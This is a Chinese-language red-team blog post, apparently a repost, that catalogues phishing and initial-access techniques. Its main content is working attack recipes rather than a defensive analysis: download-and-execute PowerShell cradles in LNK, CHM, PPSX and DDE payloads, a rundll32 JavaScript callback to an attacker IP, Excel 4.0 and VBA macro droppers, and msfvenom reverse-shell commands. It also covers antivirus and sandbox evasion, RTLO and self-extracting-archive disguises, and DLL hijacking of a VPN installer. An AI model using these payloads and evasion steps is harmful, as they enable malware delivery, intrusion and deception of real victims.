红蓝对抗之钓鱼篇:常见钓鱼思路总结
2022-7-29 00:1:38 Author: LemonSec(查看原文) 阅读量:62 收藏

一、文档连接钓鱼

1、LINK链接钓鱼

1、首先说明一点:ftp加! 可以执行命令

2、首先创建一个ftp的快捷方式,然后新建一个文件名 aaa.dll ,然后内容为cs的后门恶意链接(powershell上线命令)。

快捷方式的起始位置留空,目标为:C:\Winodws\System32\ftp.exe -""s:aaa.dll快捷方式的图标以及名字可以进行适当的伪装

3、这里演示一下生成后门恶意链接,运行CS,根据图片点击:Scripted Wed Delivery(s)

4、主机地址为CS服务器端地址,监听使用之前的监听就可以,然后执行

5、这里就创建好了一个 powershell 的回连恶意链接 复制即可

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/a'))"

但是如果直接第三方调用powershell加参的话会被360等拦截,所以要采用无参调用

2、LINK快捷方式钓鱼

1、此方式与上述方式类似。首先查找后门绝对路径,可以提权后门的有很多文件,这里以 powershell.exe 进行演示

打开目录,找到路径为:C:\Windows\System32\WindowsPowerShell\v1.0

2、生成后门恶意链接

3、创建 lnk 创建方式,将powershell恶意代码放入进行修改,将代码最前端添加绝对路径

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX ((new- object net.webclient).downloadstring('http://x.x.x.x:80/a'))"

4、这里免杀的话,使用base64等等进行混淆。

然后对该文件右键选择进行创建快捷方式,对快捷方式右键选择属性,在目标写入恶意回弹代码。

可以对图标和名称进行适当的更改,之后就可以开始钓鱼了

3、CHM文档钓鱼

1、使用 EasyCHM 可以轻松的新建一个 chm 文件。

EasyCHM、Cobalt Strike、MyJSRat 钓鱼流程:制作html -> 制作chm文件 -> 伪装 -> 打开chm上线

首先创建个空文件夹

2、创建html文件,代码如下

<html><head><title>Mousejack replay</title></head><body>command exec <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command" value="ShortCut"><PARAM name="Button" value="Bitmap::shortcut"><PARAM name="Item1" value=',calc.exe'><PARAM name="Item2" value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html>
注意:",payload",上面代码中为",calc.exe",此处,payload前面要加一个英文版的逗号,,否则打开chm文档时会出错此处打开文档执行的calc,也就是计算器Easy CHM制作CHM文档

3、新建工程

4、工程目录选择我们建立的test文件夹(html文件放在文件夹内)

5、点击编译 生成CHM

6、双击打开查看,弹出计算机

7、尝试使用 Cobalt Strike 木马 + CHM 上线

Cobalt Strike -> 点击attacks -> web Drive by -> scriped web Delivery

上文有详细步骤


8、设立好监听点击开始

然后将 calc.exe 替换为:

<html><head><title>Mousejack replay</title></head><body>command exec <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command" value="ShortCut"><PARAM name="Button" value="Bitmap::shortcut"><PARAM name="Item1" value=",powershell.exe, -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/test'))"><PARAM name="Item2" value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html>

注意:exe后面要再加一个英文版逗号,否则无法执行exe,再是注意生成出来的payload字符串的双引号跟单引号的冲突

9、再重新生成,查看是否上线

10、MyJSRat配合CHM进行上线

MyJSRat下载地址:https://github.com/Ridter/MyJSRat

python2运行下面的命令:


此处使用交互模式python2 MyJSRat.py -i 192.168.27.180 -p 8080

11、Kali Linux 运行访问

12、复制代码替换payload,记得加上逗号

<html><head><title>Mousejack replay</title></head><body>command exec <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command" value="ShortCut"><PARAM name="Button" value="Bitmap::shortcut"><PARAM name="Item1" value=',rundll32.exe, javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.27.180:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'><PARAM name="Item2" value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html>

13、然后重新生成CHM并且执行,在kali上可以进行命令交互

CHM内容伪装

1、先拿一个正常的CHM文档内容,转为html

通过hh命令,转为htmlhh -decompile .[\\html](file://html) CSS2.0中文手册.chm


2、钓鱼html嵌入到 html/css2/c_color.html

3、工程目录选择css2

注意此处,一定要诱导用户点击到 c_color.html 模块才可以

CHM文档bypass waf

(1)利用powershell无参运行,但是要把powershell脚本打包编译成chm,然后利用自带hh.exe 。hh.exe具有decompile(反编译,将chm返回成html,其实就类似chm可以比喻成一个压缩包,decompile是解压缩)的功能,可以将打包进chm的文件释放出来。

HH.EXE -decompile C:\Windows\Temp ./XMLconvert.chm

(2) CHM本身支持js(jscript)语法,可以利用c#写个弹shell的,然后利用利用DotNetToJScript转js,然后在把js混淆加密进行打包免杀,利用cscript或者wscript来执行js。类似的还有执行hta文件等等。

4、HTA钓鱼

HTA 是 HTML Application 的缩写,直接将 HTML 保存成 HTA 的格式,是一个独立的应用软件。HTA虽然用HTML、JS和CSS编写,缺比普通网页权限大得多,它具有桌面程序的所有权限。就是一个 html 应用程序,双击就可以运行。
正常是msf生成的hta文件弹shell,假设目标存在命令执行的漏洞,那么咱们在目标上执行如下即可返回msf的shell。
mshta http://127.0.0.1:8080/xxx.hta远程调用一般会被杀,最好本地运行利用github开源项目可以绕过部分wafhttps://github.com/mdsecactivebreach/CACTUSTORCH

5、宏钓鱼

1、正常操作是利用cs生成宏代码,复制到vb里面去;然后显示的是宏被禁用,为了增强迷惑性,可以进行编辑一下;首先在word选项中开启开发工具。

2、然后把宏打开,创建一个 test.doc

3、然后点击 Visual Basic

4、使用Cobalt Strike 生成木马

5、点击添加一个监听端口,注意:如果端口在防火墙上策略有误,则会导致反弹失败

6、将代码粘贴到刚才打开的地方

7、然后保存即可。doc格式和其它启用宏的模板的格式都可以,doc格式和原来格式的图标一样,运行文件,发现cs上线

8、可以使用EvilClippy进行免杀

https://github.com/outflanknl/EvilClippy

使用一个正常的vba文件和恶意文件来进行混淆,来躲避杀软检测

Excel文件也可以进行钓鱼

新建一个Excel,在左下角的sheet处右键单击,选择插入:

9、在弹出的对话框中选择 MS Excel 4.0 宏表,点击确定

10、完成之后左下角多了一栏 宏

分别在A1和A2输入=exec("c:\windows\system32\cmd.exe")=halt()并将A1改为Auto_Open,修改完回车,这样就可以一打开文件就加载指令最后保存为xlsm后缀的文件这里的exec其实是执行的cmd命令,我们可以借此来上线CS等操作

宏钓鱼 bypass waf

(1)使用远程加载XSL文件达到免杀https://github.com/sevagas/macro_packhttps://github.com/mdsecactivebreach/SharpShooter(2)高级VBA宏免杀参考 https://www.certego.net/en/news/advanced-vba-macros/

6、OLE(Object Linking and Embedding,对象链接与嵌入)

是一种把一个文件嵌入到另一个文件中的技术

msfvenom -p windows/meterpreter/reverse_http lhost=ip lport=port -f vbs -o payload.vbs

在开源的 openoffice 中可以直接只有DDE函数,像 =DDE("cmd";"/C calc";"123") 这样调用。而在正规的office套件中则移除了DDE函数,但是我们还是可以使用application|topic!item这一格式的三元表达式调用DDe。

注意:该方法的提示窗口只提示 application 而不提示 topicexcel:(如果前缀是"="、"+" 或 "-",则将其余部分视为表达式)=cmd|'/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString("http://XXXX/getshell.ps1");IEX $e'!_xlbgnm.A1

word:

打开一个新的word文档,按下键盘的组合键 CTRL + F9 ,在文档中出现"{}"之后,将下面的这段代码复制到两个大括号之间

{ DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe" }msf中可直接用,生成一个rtf文档,点击即可上线use exploit/windows/fileformat/office_dde_deliveryset lport 4444set lhost xx.xx.xx.xx

7、嵌入JS元素

这个方式的原理是,如果我们往word中插进联机视频,那么再word的压缩包 word/document.xml里的embeddedHtml项中会出现联机视频对应的内嵌html代码,我们可以通过修改这些代码,插入恶意js代码。

一般的利用方式是通过js下载恶意文件,但是似乎是因为word的一些保护机制,不能实现页面跳转或者自动点击下载等操作

<html><body><script>var a = document.createElement('a');console.log(a);document.body.appendChild(a);a.style = 'display: none';a.href = "http://149.129.64.180/evil.exe";  //该行若存在,打开word文件会报错a.download = fileName;window.URL.revokeObjectURL(url);</script><script>a.click();</script></body></html>

8、利用模板文件注入宏指令

原理是,先创建一个带模板的文档,再创一个启用宏的模板文件。然后在带模板的文档的压缩包里面修改一些内容,使其指向的模板修改为我们自己创建的模板文件,这之间的过程可以由smb协议完成,故过查杀几率较高。

我们在启用宏的模板文件(doc3.dotm)里写入宏。

Sub AutoOpen()Shell "calc"End Sub

9、CVE

Office历史上出现的可导致远程命令执行的漏洞有很多、如:CVE-2017-0199、CVE-2017-8570、CVE-2017-8759、CVE-2017-11882、CVE-2018-0802 等

CVE-2017-0199https://github.com/bhdresh/CVE-2017-0199影响版本:office 2016、2013、2010、2007CVE-2017-11882https://github.com/Ridter/CVE-2017-11882/影响版本:office 2016、2013、2010、2007、2003CVE-2018-0802https://github.com/rxwx/CVE-2018-0802影响版本:office 2016、2013 Server Pack1、2010 Server Pack2、2007 Server Pack3

二、伪造界面钓鱼

1、PPT动作按钮特性构造 PPSX 钓鱼

1、运行程序比如可以选用cs powershell 的代码。选择ppsx进行保存

2、然后弹出的窗口处

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/a'))"
powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http:'+[char] 0x2F+[char] 0x2F+'cccn.nl'+[char] 0x2F+'c.php',\"$env:temp\ii.jse\"); Invoke-Item \"$env:temp\ii.jse\""

然后将格式保存为ppsx格式保存即可 执行即可上线。

三、exe等可执行文件

1、shellcode 异或加密免杀(golang)

1、利用 msfvenom 生成一段 shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp -f num LHOST=192.168.141.136 LPORT=1234利用 golang ,将shellcode进行异或

2、进行编译(在windows进行编译)

go build xxx.go运行即可也可以利用aes加密等等

2、shellcode转换免杀

C#编译成exe -> exe -> 转js -> js混淆

参考文章:https://wtfsec.org/posts/%E5%85%8D%E6%9D%80-msf-windows-payload-%E7%9A%84%E6%96%B9%E6%B3%95%E4%B8%8E%E5%AE%9E%E8%B7%B5/利用DotNetToJScript转exe为jshttps://github.com/tyranid/DotNetToJScript

3、shellcode编译免杀

使用msf生成一个PHP马(也可以其他语言的,比如perl啥的

生成php马:msfvenom -a x86 --platform Windows -p php/meterpreter_reverse_tcp LHOST=<Your IP Address>LPORT=<Your Port to Connect On>-f raw > shell.php
利用bamcompile将php转为exe:bamcompile -w -c shell.php shell.exe

4、shellcode分离加载免杀

分离一般分2种,一个是远程加载shellcode,另外是通过运行程序的时候将加密数据传入

远程加载可以利用socket创建套接字或者直接http请求远程地址,钓鱼的时候可以将shellcode放在使用说明啥的

shellcode loader github开源项目很多

5、绕过沙盒

主要思想:判断父进程是否为Debugger:在沙盒内被调试

判断时间是否被加速:一般沙盒内的程序时间都会加速

判断系统盘是否大于50GB:一个正常的PC的系统盘都会大于50GB

虚拟机其他特征https://github.com/dycsy/ShellcodeLoaderhttps://github.com/1y0n/AV_Evasion_Tool

6、exe伪装

1、图标伪装,更改图标直接再图标处右键导入

这里使用 Restorator 2018 小工具进行图标修改http://www.pc6.com/softview/SoftView_585736.html激活将附带的激活码填入即可然后使用 Restorator 修改图标直接点击exe文件拖入即可,如果没有图标文本的话,可以在电脑找一个exe格式的图标拖入,然后显示图标后复制过来即可图标的话需要ico格式https://www.easyicon.net/iconsearch/⾳乐ico/http://www.bitbug.net/在线制作ico图标在这⾥下载图标,并在bitbug转换格式即可!

2、RTLO

通过重命名,在a后面右键,插入Unicode控制字符 -> RLO

实测钓鱼方式有些古老,不管是不是病毒只要使用此方式伪装,360都会查杀。

      

3、rar解压自运行

木马文件:artifact.exe 迷惑文件:calc.exe

进入winrar,选中这两个文件,右键添加至压缩包,创建自解压格式压缩文件

 

高级 -> 自解压选项 -> 设置

提取前打开伪装文件,提取后运行马

模式 -> 全部隐藏

更新 -> 解压并更新文件,覆盖所有文件

双击可以打开计算机,CS上线

7、绕过行为检测

部分敏感行为可操作windowsAPI

比如360对添加用户会拦截

可以操作以下两个API绕过:NetUserAddNetLocalGroupAddMembers

其他的免杀还有内存(一般可用壳,但大多基本壳都在waf的特征库中)、花指令等等

8、DLL劫持+重新制作安装包

DLL劫持指的是病毒通过一些手段来劫持或者替换正常的DLL,欺骗正常程序预先准备好的恶意DLL。如下面图片中的,LPK.dll是应用程序运行所需要加载的DLL,该系统文件默认在C:\Winodws\system32路径下,但由于windows优先搜索当前路径,所以当我们把恶意LPK.dll放在应用程序同一路径下,便会被程序成功加载,从而执行恶意操作

在蓝队可以利用此方法反制红队,例如在准备好的虚拟机中点击红队的钓鱼邮件,并准备一些让红队感兴趣的东西

比如梯子的安装包以及梯子的账号密码

这里可能会用到拿破轮胎大佬写的DLL注入工具

使用方法:1.输入CS或者msf生成的shellcode生成免杀DLL文件2.添加需要劫持的软件或者dll3.劫持过后会在运行目录生成一个DLL和配置文件4.需要把两个文件放在被劫持的软件同目录下才可以运行
注意:本文采用EasyConnectInstaller做测试,使用其他软件测试的话,可以使用Process Monitor来对系统进程进行监控,找到系统程序调用DLL的情况https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon
参考文章:https://blog.csdn.net/weixin_35771144/article/details/111056447

使用CS生成shellcode

把shellcode放入工具然后生成dll即可

选择DLL处选择生成的DLL

注入目标为C:\Program Files (x86)\Sangfor\SSL\SangforCSClient下的

注入到注册表后,将 wwwcomw.dll 和 conf.inf 放入到软件目录下

然后运行即可上线

然后接下来使用NSIS重新制作安装包

使用NSIS制作安装包可以参考: https://www.cnblogs.com/modou/p/3573772.html

9、免杀思路

免杀思路:1、CS生成exe的payload2、exe-payload 放置公网服务器3、再CS生成python-payload4、将python-payload转base64值5、base64值的payload再用序列化转码6、序列化转码后的payload再用反序列化转码7、转成反序列化后的payload再用python3的tinyaes混淆8、混淆完再用另外的东西加壳成对方环境执行的文件类型即可
可以查查掩日最终形成的文件类型,执行的原理仅仅是运行下载公网服务器第一步上次的payload并运行
GoFildBinderhttps://github.com/Yihsiwei/GoFileBindergolang免杀捆绑器 捆绑器免杀效果会持续更新下去使用以下命令进行捆绑器编译go build GoFileBinder.go使用以下命令生成捆绑文件(注:GoFileBinder.exe单独放入一个文件夹中)GoFileBinder.exe 木马.exe xxx.txt也可以尝试使用kali自带的upx

四、钓鱼邮件

钓鱼邮件

包含邮件服务器相关环境搭建,邮件信息收集,参考:

https://www.freebuf.com/articles/web/260391.html

五、flash邮件

flash邮件

尝试自解压或者配合捆绑

源码:https://github.com/r00tSe7en/Fake-flash.cn

六、网站钓鱼

网站钓鱼

制作钓鱼网站,克隆网站

cs,msf 都有这个功能

setoolkit


者:YLion,文章转载于FreeBuf

侵权请私聊公众号删文

 热文推荐  

欢迎关注LemonSec

觉得不错点个“赞”、“在看”


文章来源: http://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247530806&idx=2&sn=4b893f51ffc6cc482911c6b84e67c4fd&chksm=f9e3166dce949f7b5e4608534b69bd13ffb965641ee6b153ef3c70e311aa1b00f6ad9dd25c44#rd
如有侵权请联系:admin#unsafe.sh